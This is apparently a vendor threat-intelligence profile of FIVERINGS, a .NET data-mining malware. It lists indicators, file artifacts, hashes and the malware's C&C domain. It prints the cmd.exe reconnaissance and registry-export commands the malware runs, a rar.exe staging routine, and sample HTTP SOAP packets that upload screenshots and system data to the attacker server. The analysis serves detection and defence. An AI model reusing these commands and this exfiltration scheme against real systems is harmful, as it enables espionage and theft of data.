FIVERINGS Malware Profile

Operational (OP) Fusion (FS)

Cyber Espionage (CE)

April 04, 2017 03:19:00 PM, 17-00003369, Version: 1 Risk Rating: MEDIUM

Executive Summary

- FIVERINGS is a .NET data miner that has the capability to gather system information and screenshots.
- Collected data is uploaded to its command and control (C&C) server using HTTP SOAP web services.

Analysis

Contents

File Characteristics

File Name	MD5 Hash	Size (bytes)	Compile Time
Unavailable	21744F8876415EFF7EBF1C140BD729EA	38912	2017-01-11 07:33:39 UTC

Table 1: File characteristics

Host-Based Signatures

File System Artifacts

Dropped Files

- File name: npqvtae_.cmdline
  Path: C:\Documents and Settings\Administrator\Local Settings\TEMP

- File name: npqvtae_.out
  Path: C:\Documents and Settings\Administrator\Local Settings\TEMP

- File name: zbwin4pw.0.cs
  Path: C:\Documents and Settings\Administrator\Local Settings\TEMP

- File name: zbwin4pw.cmdline
  Path: C:\Documents and Settings\Administrator\Local Settings\TEMP

- File name: zbwin4pw.dll
  Path: C:\Documents and Settings\Administrator\Local Settings\TEMP

- File name: zbwin4pw.out
  Path: C:\Documents and Settings\Administrator\Local Settings\TEMP

- File name: info_<*timestamp*>.rar
  Path: C:\TEMP\SYSINFO\F

- File name: c.png_<*timestamp* >.rar
  Path: C:\TEMP\SYSINFO\F

- File name: cap_<*timestamp*>.png
  Path: C:\TEMP\SYSINFO

The malware also creates the following files within the C:\TEMP\SYSINFO directory:

- SystemInfo.txt
- SystemInfo.cab
- SystemInfo.rar
- HKEY_CLASSES_ROOT
- HKEY_CLASSES_ROOT.cab
- HKEY_CLASSES_ROOT.rar
- HKEY_CURRENT_USER
- HKEY_CURRENT_USER.cab
- HKEY_CURRENT_USER.rar
- HKEY_LOCAL_MACHINE
- HKEY_LOCAL_MACHINE.cab
- HKEY_LOCAL_MACHINE.rar
- HKEY_USERS
- HKEY_USERS.cab

- HKEY_USERS.rar
- Diskinfo.txt
- Diskinfo.cab
- Diskinfo.rar
- GroupPolicy.txt
- GroupPolicy.cab
- GroupPolicy.rar
- runapps.txt
- runapps.cab
- runapps.rar
- rar.exe

The malware creates the following configuration files within the C:\TEMP\SYSINFO\REG\ directory:

- HKEY_CURRENT_CONFIG
- HKEY_CURRENT_CONFIG.cab
- HKEY_CURRENT_CONFIG.rar

Once every 10 minutes, the malware creates the following files within the C:\TEMP\SYSINFO directory:

- 1-quser.txt
- 1-quser_1.txt
- 2-ipconfig-all.txt
- 2-ipconfig-all_1.txt
- 3-netstat-ao.txt
- 3-netstat-ao_1.txt
- 4-netstat-rs.txt
- 4-netstat-rs_1.txt
- 5-net-view.txt
- 5-net-view_1.txt
- 6-net-view-domain.txt
- 6-net-view-domain_1.txt
- 7-nltest-trusted-domains.txt
- 7-nltest-trusted-domains_1.txt
- 8-net-localgroup-administrators.txt
- 8-net-localgroup-administrators_1.txt
- 9-net-localgroup-administrators-domain.txt
- 9-net-localgroup-administrators-domain_1.txt
- 10-net-localgroup-users.txt
- 10-net-localgroup-users_1.txt
- 11-net-localgroup-users-domain.txt
- 11-net-localgroup-users-domain_1.txt
- 12-net-localgroup-IIS_IUSRS.txt
- 12-net-localgroup-IIS_IUSRS_1.txt
- 13-net-user-domain.txt

- 13-net-user-domain_1.txt
- 14-net-group-domain.txt
- 14-net-group-domain_1.txt
- 15-net-group-domain-admins-domain.txt
- 15-net-group-domain-admins-domain_1.txt
- 16-net-group-domain-computers-domain.txt
- 16-net-group-domain-computers-domain_1.txt
- 17-net-group-enterprise-admins-domain.txt
- 17-net-group-enterprise-admins-domain_1.txt
- 18-net-accounts.txt
- 18-net-accounts_!.txt
- 19-net-share.txt
- 19-net-share_1.txt
- 20-net-share-domain.txt
- 20-net-share-domain_1.txt
- 21-route-print.txt
- 21-route-print_1.txt

Mutexes

- {"type"=>"processed", "value"=>"Global\\.net clr networking"}

Network-Based Signatures

Command-and-Control (C&C)

The malware communicates with the following web service over TCP port 80:

- info.services-mozilla.com

Beacon Packet

```
The following is a sample beacon packet observed during
analysis: POST /WebService.asmx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web
Services Client Protocol 2.0.50727.5420)
Content-Type: text/xml; charset=utf-8
SOAPAction: "hxxp://tempuri[.]org/inok"
Host: info.services-mozilla.com
Content-Length: 295
Expect: 100-continue
Connection: Keep-Alive

<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="hxxp://schemas[.]xmlsoap[.]org/soap/envelope/"
xmlns:xsi="hxxp://www[.]w3[.]org/2001/XMLSchema-
instance"
```

```
xmlns:xsd="hxxp://www[.]w3[.]org/2001/XMLSchema">
<soap:Body><inok xmlns="hxxp://tempuri[.]org/"><pass />
</inok></soap:Body></soap:Envelope>
```

Figure 1: Sample beacon packet

File Upload Packet

The following is a sample file upload packet observed during analysis:

```
POST /WebService.asmx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web
Services Client Protocol 2.0.50727.5420)
Content-Type: text/xml; charset=utf-8
SOAPAction: "hxxp://tempuri[.]org/getfi"
Host: info.services-mozilla.com
Content-Length: 87640
Expect: 100-continue

<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="hxxp://schemas[.]xmlsoap[.]org/soap/envelope/"
xmlns:xsi="hxxp://www[.]w3[.]org/2001/XMLSchema-
instance"
xmlns:xsd="hxxp://www[.]w3[.]org/2001/XMLSchema">
<soap:Body><getfi xmlns="hxxp://tempuri[.]org/">
<mac>D4AE526F5600</mac><host>win7sp1</host>
<fi>/9j/4AAQSkZJRgABAQEAYABgAAD
...
[TRUNCATED]
...
gpl09qmm3Si5hd3UBVV8k80mNH/2Q==</fi>
<name>cap_20170124145851.png</name><pass />
</getfi></soap:Body></soap:Envelope>
```

Figure 2: Sample file upload packet

FIVERINGS Analysis

Startup

Upon initial execution, to clean up any old files left behind from previous executions, the FIVERINGS binary executes the following commands:

- cmd.exe /c del C:\TEMP\SYSINFO\HKEY_*
- cmd.exe /c del C:\TEMP\SYSINFO\*.cab
- cmd.exe /c /c del C:\TEMP\SYSINFO\*_1.txt

Then, for each .txt files under C:\TEMP\SYSINFO, the sample executes the following command to create a .cab file:

- cmd.exe /c makecab <*dirpath*>\<*filename*>.txt <*dirpath*>\<*filename*>.cab

Where:

- <*dirpath*> is C:\TEMP\SYSINFO
- <*filename*> is the original file name of the .txt file

The malware downloads the file *rar.exe* from the C&C to the following location:

- C:\TEMP\SYSINFO\rar.exe

The malware then executes the following commands:

- cmd.exe /c mkdir C:\TEMP\SYSINFO\F
- cmd.exe /c attrib +H +S C:\TEMP\SYSINFO\F
- cmd.exe /c C:\TEMP\SYSINFO\rar.exe -m5 -inul -v1m a -r C:\TEMP\SYSINFO\F\info_<*timestamp*>.rar <*cabfile*>
    - Where <*cabfile*> is the full path to the .cab file created earlier.

The malware then deletes the cabfile after *rar.exe* finishes its execution.

System Information Gathering

Once every 10 minutes, the malware executes the following commands to gather the current environment on the infected system:

- cmd.exe /c mkdir C:\TEMP\SYSINFO\
- cmd.exe /c quser >> C:\TEMP\SYSINFO\1-quser.txt
- cmd.exe /c ipconfig /all >> C:\TEMP\SYSINFO\2-ipconfig-all.txt
- cmd.exe /c netstat -ao >> C:\TEMP\SYSINFO\3-netstat-ao.txt
- cmd.exe /c netstat -rs >> C:\TEMP\SYSINFO\4-netstat-rs.txt
- cmd.exe /c net view >> C:\TEMP\SYSINFO\5-net-view.txt
- cmd.exe /c net view /domain >> C:\TEMP\SYSINFO\6-net-view-domain.txt
- cmd.exe /c nltest /trusted_domains >> C:\TEMP\SYSINFO\7-nltest-trusted-domains.txt
- cmd.exe /c net localgroup administrators >> C:\TEMP\SYSINFO\8-net-localgroup-administrators.txt
- cmd.exe /c net localgroup administrators /domain >> C:\TEMP\SYSINFO\9-net-localgroup-administrators-domain.txt
- cmd.exe /c net localgroup users >> C:\TEMP\SYSINFO\10-net-localgroup-users.txt
- cmd.exe /c net localgroup users /domain >> C:\TEMP\SYSINFO\11-net-localgroup-users-domain.txt
- cmd.exe /c net localgroup IIS_IUSRS >> C:\TEMP\SYSINFO\12-net-localgroup-IIS_IUSRS.txt
- cmd.exe /c net user /domain >> C:\TEMP\SYSINFO\13-net-user-domain.txt

- cmd.exe /c net group /domain >> C:\TEMP\SYSINFO\14-net-group-domain.txt
- cmd.exe /c net group \"domain admins\" /domain >> C:\TEMP\SYSINFO\15-net-group-domain-admins-domain.txt
- cmd.exe /c net group \"domain computers\" /domain >> C:\TEMP\SYSINFO\16-net-group-domain-computers-domain.txt
- cmd.exe /c net group \"enterprise admins\" /domain >> C:\TEMP\SYSINFO\17-net-group-enterprise-admins-domain.txt
- cmd.exe /c net accounts >> C:\TEMP\SYSINFO\18-net-accounts.txt
- cmd.exe /c net share >> C:\TEMP\SYSINFO\19-net-share.txt
- cmd.exe /c net share /domain >> C:\TEMP\SYSINFO\20-net-share-domain.txt
- cmd.exe /c route print >> C:\TEMP\SYSINFO\21-route-print.txt

The malware also executes the following commands to gather information on the infected system:

- cmd.exe /c mkdir C:\TEMP\SYSINFO
- cmd.exe /c attrib +H +S C:\TEMP\SYSINFO
- cmd.exe /c date /t >> C:\TEMP\SYSINFO\SystemInfo.txt
- cmd.exe /c time /t >> C:\TEMP\SYSINFO\SystemInfo.txt
- cmd.exe /c systeminfo >> C:\TEMP\SYSINFO\SystemInfo.txt
- cmd.exe /c reg export HKEY_CLASSES_ROOT C:\TEMP\SYSINFO\HKEY_CLASSES_ROOT
- cmd.exe /c reg export HKEY_CURRENT_USER C:\TEMP\SYSINFO\HKEY_CURRENT_USER
- cmd.exe /c reg export HKEY_LOCAL_MACHINE C:\TEMP\SYSINFO\HKEY_LOCAL_MACHINE
- cmd.exe /c reg export HKEY_USERS C:\TEMP\SYSINFO\HKEY_USERS
- cmd.exe /c reg export HKEY_CURRENT_CONFIG C:\TEMP\SYSINFO\REG\HKEY_CURRENT_CONFIG
- cmd.exe /c wmic logicaldisk get size,freespace,status,caption,Description,DriveType > C:\TEMP\SYSINFO\Diskinfo.txt
- cmd.exe /c gpresult /r /z > C:\TEMP\SYSINFO\GroupPolicy.txt
- cmd.exe /c /c tasklist /v > C:\TEMP\SYSINFO\runapps.txt

Screenshot Capture

Once every minute, the malware takes a screenshot of the current desktop and saves the output at:

- C:\TEMP\SYSINFO\cap_<*timestamp*>.png

If the screenshot size is larger than or equal to 1,048,577 bytes, the malware compresses the screenshot and saves the result at:

- C:\TEMP\SYSINFO\F\c.png_<*timestamp*>.rar

Collection Comparison

If a previous run exists, the malware compares the current run result with the previous result. It only compresses and uploads any changes to the C&C server using *rar.exe* and getfi() web service call.

The malware then renames the current run result output from:

- <*filename*>.txt to <*filename*>_1.txt

Network Communications

The malware then BASE64 encodes and uploads the following to the C&C server:

- .RAR file created by *rar.exe*
- Any other files with extensions other than .txt found in C:\TEMP\SYSINFO

All communication to the C&C server happens over SOAP web services, configurable by:

- hxxp://info[.]services-mozilla[.]com/WebService[.]asmx

Check-In

The malware checks in with the C&C server using the inok() web service call, which results in an HTTP POST to the C&C Web Service URI with the following SOAP action:

- SOAPAction: "hxxp://tempuri[.]org/inok"

The malware only continues if the web server responds with a 1.

RAR File Download

If the *rar.exe* file does not already exist, the malware uses the GetRa() WebService call, resulting in the following SOAPAction:

- SOAPAction: "hxxp://tempuri[.]org/GetRa"

System File Uploads

The malware then BASE64 encodes and uploads files to the C&C server using the getfi() web service call, resulting in the following SOAPAction:

- SOAPAction: "hxxp://tempuri[.]org/getfi"

Unique Strings

- add_GetRaCompleted
- remove_GetRaCompleted
- add_getfiCompleted
- remove_getfiCompleted
- add_inokCompleted
- remove_inokCompleted
- OnGetRaOperationCompleted
- OngetfiOperationCompleted
- OninokOperationCompleted
- rarsend
- strfi
- getfi
- inok
- onemin
- tenmin
- uploaderDnet.serv
- uploaderDnet.My
- a371084d-9eca-49fa-9ed0-80da1f84073e
- 1[.]0[.]0[.]0
- hxxp://tempuri[.]org/getfi
- hxxp://tempuri[.]org/T
- hxxp://tempuri[.]org/TU
- hxxp://tempuri[.]org/inok
- hxxp://tempuri[.]org/GetRa
- hxxp://tempuri[.]org/X
- hxxp://info[.]services-mozilla[.]com/WebService[.]asmx
- C:\Users\Main\Desktop\uploaderDnet\uploaderDnet\obj\Release\uploaderDnet.pdb
- uploaderDnet.Resources
- uploaderDnet_serv_WebService
- c:\temp\sysinfo\
- yyyyMMddHHmmss
- {0}cap_{1}.png
- cap_{0}.png
- cmd.exe
- /c mkdir c:\temp\sysinfo
- /c attrib +H +S c:\temp\sysinfo
- /c date /t >> c:\temp\sysinfo\SystemInfo.txt
- /c time /t >> c:\temp\sysinfo\SystemInfo.txt
- /c systeminfo >> c:\temp\sysinfo\SystemInfo.txt
- c:\temp\sysinfo\SystemInfo.txt
- c:\temp\sysinfo\SystemInfo.cab
- SystemInfo.rar
- /c reg export HKEY_CURRENT_USER c:\temp\\sysinfo\HKEY_CURRENT_USER
- c:\temp\sysinfo\HKEY_CURRENT_USER
- c:\temp\sysinfo\HKEY_CURRENT_USER.cab
- HKEY_CURRENT_USER.rar
- /c reg export HKEY_CURRENT_CONFIG c:\temp\sysinfo\REG\HKEY_CURRENT_CONFIG

- c:\temp\sysinfo\HKEY_CURRENT_CONFIG
- c:\temp\sysinfo\HKEY_CURRENT_CONFIG.cab
- HKEY_CURRENT_CONFIG.rar
- /c C:\temp\sysinfo\rar.exe -m5 -inul -v1m a -r c:\temp\sysinfo\f\c.png_
- .rar
- C:\temp\sysinfo\f\
- /c makecab
- /c nltest /trusted_domains >> c:\temp\sysinfo\7-nltest-trusted-domains.txt
- /c net localgroup administrators /domain >> c:\temp\sysinfo\9-net-localgroup-administrators-domain.txt
- /c net localgroup users /domain >> c:\temp\sysinfo\11-net-localgroup-users-domain.txt
- /c net group "domain admins" /domain >> c:\temp\sysinfo\15-net-group-domain-admins-domain.txt
- /c net group "enterprise admins" /domain >> c:\temp\sysinfo\17-net-group-enterprise-admins-domain.txt
- /c net accounts >> c:\temp\sysinfo\18-net-accounts.txt
- /c net share >> c:\temp\sysinfo\19-net-share.txt
- /c net share /domain >> c:\temp\sysinfo\20-net-share-domain.txt
- /c route print >> c:\temp\sysinfo\21-route-print.txt
- c:\temp\sysinfo\1-quser
- quser
- c:\temp\sysinfo\2-ipconfig-all
- ipconfig-all
- c:\temp\sysinfo\3-netstat-ao
- netstat-ao
- c:\temp\sysinfo\4-netstat-rs
- netstat-rs
- c:\temp\sysinfo\5-net-view
- net-view
- c:\temp\sysinfo\6-net-view-domain
- net-view-domain
- c:\temp\sysinfo\7-nltest-trusted-domains
- nltest-trusted-domains
- c:\temp\sysinfo\8-net-localgroup-administrators
- net-localgroup-administrators
- c:\temp\sysinfo\9-net-localgroup-administrators-domain
- net-localgroup-administrators-domain
- c:\temp\sysinfo\10-net-localgroup-users
- net-localgroup-users
- c:\temp\sysinfo\11-net-localgroup-users-domain
- net-localgroup-users-domain
- c:\temp\sysinfo\12-net-localgroup-IIS_IUSRS
- net-localgroup-IIS_IUSRS
- c:\temp\sysinfo\13-net-user-domain
- net-user-domain
- c:\temp\sysinfo\14-net-group-domain

- net-group-domain
- c:\temp\sysinfo\15-net-group-domain-admins-domain
- net-group-domain-admins-domain
- c:\temp\sysinfo\16-net-group-domain-computers-domain
- net-group-domain-computers-domain
- c:\temp\sysinfo\17-net-group-enterprise-admins-domain
- net-group-enterprise-admins-domain
- c:\temp\sysinfo\18-net-accounts
- net-accounts
- c:\temp\sysinfo\19-net-share
- net-share
- c:\temp\sysinfo\20-net-share-domain
- net-share-domain
- c:\temp\sysinfo\21-route-print
- route-print
- /c del c:\temp\sysinfo\HKEY_*
- /c del c:\temp\sysinfo\*.cab
- /c del c:\temp\sysinfo\*_1.txt
- C:\temp\sysinfo\
- getfi
- inok
- GetRa
- uploaderDnet.exe
- uploaderDnet

First Version Publish Date

April 04, 2017 03:19:00 PM

Tags	MEDIUM

Threat Intelligence Tags

Affected System

- Users/Application and Software

Malware Family

- FIVERINGS

Technical Indicators & Warnings

Malware Family:	FIVERINGS
Network Type:	network
Domain:	info.services-mozilla.com
Identifier:	Attacker

SHA1:	c8366115637b0bbe6fd06a8960f0bd385b46b23d
Identifier:	Attacker
File Name:	Unavailable
Malware Family:	FIVERINGS
File Size:	38912
SHA256:	e657113d5546947f223d6af4316102595e205617653c25366f33632247c49650
MD5:	21744f8876415eff7ebf1c140bd729ea

Version Information

Version:1.0, April 04, 2017 03:19:00 PM
FIVERINGS Malware Profile

5950 Berkshire Lane, Suite 1600 Dallas, TX
75225

For more information please visit: https://intelligence.fireeye.com/reports/17-00003369